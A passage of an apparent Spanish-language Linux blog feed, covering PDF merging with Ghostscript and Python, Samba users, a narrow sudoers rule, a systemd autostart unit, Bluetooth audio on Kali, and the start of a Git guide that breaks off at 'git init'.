&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">pdfjam pdf1.pdf pdf2.pdf -o output.pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Como inconveniente el indice que traigan otros pdf se lo carga.&lt;/p>
&lt;h2 id="mark3">Ghostscript&lt;/h2>
&lt;p>Ghostscript es un paquete que te permite ver o imprimir archivos PostScript y PDF en otros formatos o a partir de estos a otros formatos, pero a demás de todo eso también te permite unir archivos pdf. La instalación no es necesaria al menos en Fedora 24 ya que venia instalado por defecto.&lt;/p>
&lt;h3 id="unión-de-pdf-1">Unión de pdf.&lt;/h3>
&lt;p>En este apartado al ser una herramienta bastante completa podríamos hacerlo de múltiples formas, antes de ponerla pondré algunos parámetros importantes que pasaremos a Ghostscript:&lt;/p>
&lt;ul>
&lt;li>-dBATCH: una vez que Ghostscript procesa los archivos PDF, debe salir. Si no incluye esta opción, Ghostscript seguirá ejecutándose.&lt;/li>
&lt;li>-dNOPAUSE: obliga a Ghostscript a procesar cada página sin pausar la interacción del usuario.&lt;/li>
&lt;li>-q: para que Ghostscript no muestre mensajes mientras funciona.&lt;/li>
&lt;li>-sDEVICE=pdfwrite: le dice a Ghostscript que use su escritor de PDF incorporado para procesar los archivos.&lt;/li>
&lt;li>-sOutputFile=output.pdf: le dice a Ghostscript que guarde el archivo PDF combinado con el nombre que especifico.&lt;/li>
&lt;/ul>
&lt;h4 id="unir-varios-pdf">Unir varios pdf.&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=output.pdf pdf1.pdf pdf2.pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="unir-varios-pdf-haciendo-una-pequeña-compresión">Unir varios pdf haciendo una pequeña compresión.&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -dPDFSETTINGS=/prepress -sOutputFile=output.pdf pdf1.pdf pdf2.pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="unir-varios-pdf-haciendo-una-gran-compresión-revisar-porque-puede-haber-perdidas-de-calidad-visibles">Unir varios pdf haciendo una gran compresión, revisar porque puede haber perdidas de calidad visibles.&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -dPDFSETTINGS=/default -dCompatibilityLevel=1.4 -dQUIET -dDetectDuplicateImages -dCompressFonts=true -r150 -sOutputFile=output.pdf pdf1.pdf pdf2.pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="http://stackoverflow.com/questions/2507766/merge-convert-multiple-pdf-files-into-one-pdf" target="_blank" rel="noopener"
>stackoverflow&lt;/a>, &lt;a class="link" href="https://www.linux.com/news/putting-together-pdf-files" target="_blank" rel="noopener"
>linux.com&lt;/a>&lt;/p>
&lt;h1 id="header2">Concatenar con librerías externas&lt;/h1>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark4" >Python&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="mark4">Python&lt;/h2>
&lt;p>En python podemos usar la librería pyPdf2 que depende de la librería pdf. El resultado es un pdf con el nombre &lt;code>salida.pdf&lt;/code> que tiene buena calidad pero no mantiene los indices&lt;/p>
&lt;blockquote>
&lt;p>IMPORTANTE: Actualizar el script para pasarle distintos argumentos como -o para hacerlo dinamico y que no tenga un fichero de salida statico&lt;/p>
&lt;/blockquote>
&lt;h3 id="instalación-2">Instalación.&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>sudo&lt;span class="o">]&lt;/span> pip install pdf pyPdf2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="unir-varios-pdf-1">Unir varios pdf.&lt;/h4>
&lt;p>Uso: &lt;code>python concatena_pdf.py portada.pdf memoria.pdf&lt;/code>&lt;/p>
&lt;p>&lt;a class="link" href="https://www.procamora.com/code/concatena_pdf.py" >Descargar script&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/env python&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pyPdf&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">PdfFileReader&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">PdfFileWriter&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#Fuente: http://stackoverflow.com/questions/3444645/merge-pdf-files&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Creating a routine that appends files to the output file&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">append_pdf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">addPage&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">getPage&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">page_num&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">page_num&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">numPages&lt;/span>&lt;span class="p">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Creating an object where pdf pages are appended to&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">output&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PdfFileWriter&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Appending two pdf-pages from two different files&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">pdf&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">:]:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">append_pdf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">PdfFileReader&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">file&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pdf&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;rb&amp;#34;&lt;/span>&lt;span class="p">)),&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Writing all the collected pages to a file&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">output&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;salida.pdf&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;wb&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="header3">Concatenar Online&lt;/h1>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark5" >smallpdf&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="mark5">Smallpdf&lt;/h2>
&lt;p>&lt;a class="link" href="https://smallpdf.com/" target="_blank" rel="noopener"
>Smallpdf&lt;/a> es una pagina online en la que podemos hacer múltiples operaciones con pdf como unirlos, separarlos y convertirlos a múltiples formatos, funciona bastante bien pero supongo que tendrá limitaciones en cuanto al tamaño de los ficheros y el numero máximo de operaciones a hacer con una cuenta gratis/sin registrar.&lt;/p>
&lt;h1 id="header4">Resumen general&lt;/h1>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>herramienta&lt;/th>
&lt;th>mantiene integridad del indice&lt;/th>
&lt;th>calidad resultante&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>pdfunite&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ImageMagick&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>pdfjam&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Ghostscript&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>pyPdf2&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>smallpdf&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h1 id="header5">Conclusión final&lt;/h1>
&lt;p>Creo que en este caso la mejor opción es Ghostscript ya que es la unica que mantiene el indice después de la unión.&lt;/p>
&lt;p>Fuente: &lt;a class="link" href="http://jamesmcdonald.id.au/it-tips/alternative-to-pdftk-under-fedora-21" target="_blank" rel="noopener"
>0&lt;/a>, &lt;a class="link" href="https://blog.dbrgn.ch/2013/8/14/merge-multiple-pdfs/" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p></description></item><item><title>Usos de samba</title><link>https://www.procamora.com/p/usos-de-samba/</link><pubDate>Fri, 22 Apr 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/usos-de-samba/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Usos de samba" />&lt;p>###Crear usuario
&lt;code>sudo useradd -s /bin/true username&lt;/code>&lt;/p>
&lt;p>###Asignarle contraseña&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">sudo smbpasswd -L -a username
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo smbpasswd -L -e username
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>###Listar usuarios samba&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">sudo pdbedit -L -v
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>testparm /etc/samba/smb.conf&lt;/p></description></item><item><title>Permitir ciertos comandos sudo como usuario normal</title><link>https://www.procamora.com/p/permitir-ciertos-comandos-sudo-como-usuario-normal/</link><pubDate>Wed, 20 Apr 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/permitir-ciertos-comandos-sudo-como-usuario-normal/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Permitir ciertos comandos sudo como usuario normal" />&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">llows members of the users group to mount and unmount the
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">## cdrom as root
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">%users ALL=/sbin/mount /mnt/cdrom, /sbin/umount /mnt/cdrom
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;a class="link" href="http://www.cyberciti.biz/tips/allow-a-normal-user-to-run-commands-as-root.html" target="_blank" rel="noopener"
>http://www.cyberciti.biz/tips/allow-a-normal-user-to-run-commands-as-root.html&lt;/a>&lt;/p></description></item><item><title>Usar tecla windows como para abrir menu</title><link>https://www.procamora.com/p/usar-tecla-windows-como-para-abrir-menu/</link><pubDate>Tue, 19 Apr 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/usar-tecla-windows-como-para-abrir-menu/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Usar tecla windows como para abrir menu" />&lt;p>&lt;a class="link" href="http://unix.stackexchange.com/questions/970/how-to-associate-the-fedora-start-menu-with-the-windows-keyboard" target="_blank" rel="noopener"
>http://unix.stackexchange.com/questions/970/how-to-associate-the-fedora-start-menu-with-the-windows-keyboard&lt;/a>&lt;/p></description></item><item><title>autorun script linux systemd</title><link>https://www.procamora.com/p/autorun-script-linux-systemd/</link><pubDate>Thu, 24 Mar 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/autorun-script-linux-systemd/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post autorun script linux systemd" />&lt;h2 id="paso-1-crear-el-fichero-del-servicio">Paso 1: Crear el fichero del servicio.&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo vim /lib/systemd/system/myscript.service
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="paso-2-añadir-el-contenido-al-fichero">Paso 2: Añadir el contenido al fichero.&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Unit&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">Description&lt;/span>&lt;span class="o">=&lt;/span>My Script Service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">After&lt;/span>&lt;span class="o">=&lt;/span>multi-user.target
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Service&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">Type&lt;/span>&lt;span class="o">=&lt;/span>idle
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">ExecStart&lt;/span>&lt;span class="o">=&lt;/span>/usr/bin/python3 /home/pi/myscript.py &amp;gt; /home/pi/myscript.log 2&amp;gt;&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">User&lt;/span>&lt;span class="o">=&lt;/span>pi
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Install&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">WantedBy&lt;/span>&lt;span class="o">=&lt;/span>multi-user.target
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="paso-3-poner-los-permisos-necesarios-al-fichero">Paso 3: Poner los permisos necesarios al fichero.&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">sudo chmod 644 /lib/systemd/system/myscript.service
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="paso-4-configurar-systemd">Paso 4: Configurar systemd.&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">sudo&lt;/span> &lt;span class="n">systemctl&lt;/span> &lt;span class="n">daemon&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">reload&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sudo&lt;/span> &lt;span class="n">systemctl&lt;/span> &lt;span class="n">enable&lt;/span> &lt;span class="n">myscript&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">service&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="paso-5-reiniciar-el-sistema">Paso 5: Reiniciar el sistema.&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">sudo reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="paso-6-confirmar-que-el-servicio-esta-funcionando">Paso 6: Confirmar que el servicio esta funcionando.&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">sudo systemctl status myscript.service
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="http://www.raspberrypi-spy.co.uk/2015/10/how-to-autorun-a-python-script-on-boot-using-systemd/" target="_blank" rel="noopener"
>raspberrypi&lt;/a> &lt;a class="link" href="https://wiki.archlinux.org/index.php/Systemd_%28Espa%C3%B1ol%29" target="_blank" rel="noopener"
>archlinux&lt;/a>&lt;/p></description></item><item><title>Cascos bluetooth en Kali</title><link>https://www.procamora.com/p/cascos-bluetooth-en-kali/</link><pubDate>Tue, 23 Feb 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/cascos-bluetooth-en-kali/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Cascos bluetooth en Kali" />&lt;h2 id="primeros-instalamos-la-librería-para-gestionar-el-bluetooth-con-pulseaudio">Primeros instalamos la librería para gestionar el bluetooth con pulseaudio&lt;/h2>
&lt;p>&lt;code>sudo apt-get install pulseaudio-module-bluetooth&lt;/code>&lt;/p>
&lt;p>Iniciamos el servicio de bluetooth&lt;/p>
&lt;p>&lt;code>/etc/init.d/bluetooth start&lt;/code>&lt;/p>
&lt;p>foto&lt;/p>
&lt;p>Para poder activarlo en la configuración n hay que activar el modulo
&lt;code>sudo pactl load-module module-bluetooth-discover&lt;/code>&lt;/p>
&lt;p>después vamos a configuración de sonido y establecemos que el sonido salga por el casco en vez de por el altavoz&lt;/p>
&lt;p>foto&lt;/p></description></item><item><title>Guia git</title><link>https://www.procamora.com/p/guia-git/</link><pubDate>Fri, 19 Feb 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/guia-git/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Guia git" />&lt;h1 id="introducción">Introducción:&lt;/h1>
&lt;p>Git es un software de control de versiones diseñado por Linus Torvalds, pensando en la eficiencia y la confiabilidad del mantenimiento de versiones de aplicaciones cuando éstas tienen un gran número de archivos de código fuente.&lt;/p>
&lt;h2 id="existen-una-serie-de-buenas-practicas-que-son">Existen una serie de buenas practicas que son:&lt;/h2>
&lt;p>Cada desarrollador o equipo de desarrollo puede hacer uso de Git de la forma que le parezca conveniente. Sin embargo una buena práctica es la siguiente:
Se deben utilizar 4 tipos de ramas: Master, Development, Features, y Hotfix.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Master&lt;/strong>:
Es la rama principal. Contiene el repositorio que se encuentra publicado en producción, por lo que debe estar siempre estable.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Development&lt;/strong>:
Es una rama sacada de master. Es la rama de integración, todas las nuevas funcionalidades se deben integrar en esta rama. Luego que se realice la integración y se corrijan los errores (en caso de haber alguno), es decir que la rama se encuentre estable, se puede hacer un merge de development sobre la rama master.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Features&lt;/strong>:
Cada nueva funcionalidad se debe realizar en una rama nueva, específica para esa funcionalidad. Estas se deben sacar de development. Una vez que la funcionalidad esté pronta, se hace un merge de la rama sobre development, donde se integrará con las demás funcionalidades.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Hotfix&lt;/strong>:
Son bugs que surgen en producción, por lo que se deben arreglar y publicar de forma urgente. Es por ello, que son ramas sacadas de master. Una vez corregido el error, se debe hacer un merge de la rama sobre master. Al final, para que no quede desactualizada, se debe realizar el merge de master sobre development.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Las ordenes básicas que tiene son:&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="#header0" >Operaciones básicas&lt;/a>:&lt;/li>
&lt;li>&lt;a class="link" href="#header1" >Manejo de ramas&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark4" >Ramas locales&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark5" >Ramas remotas&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header2" >Manejo de submodulos&lt;/a>:&lt;/li>
&lt;li>&lt;a class="link" href="#header3" >Duplicar un repositorio&lt;/a>:&lt;/li>
&lt;/ul>
&lt;h1 id="header0">Operaciones básicas&lt;/h1>
&lt;p>Una vez que tienes git instalado y listo para usarse podremos usar los siguientes comandos:&lt;/p>
&lt;h2 id="inicializando-un-repositorio-en-un-directorio-existente">Inicializando un repositorio en un directorio existente&lt;/h2>
&lt;p>Si tenemos un repositorio con codigo y queremos crear un repositio git tendremos que escribir:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git init
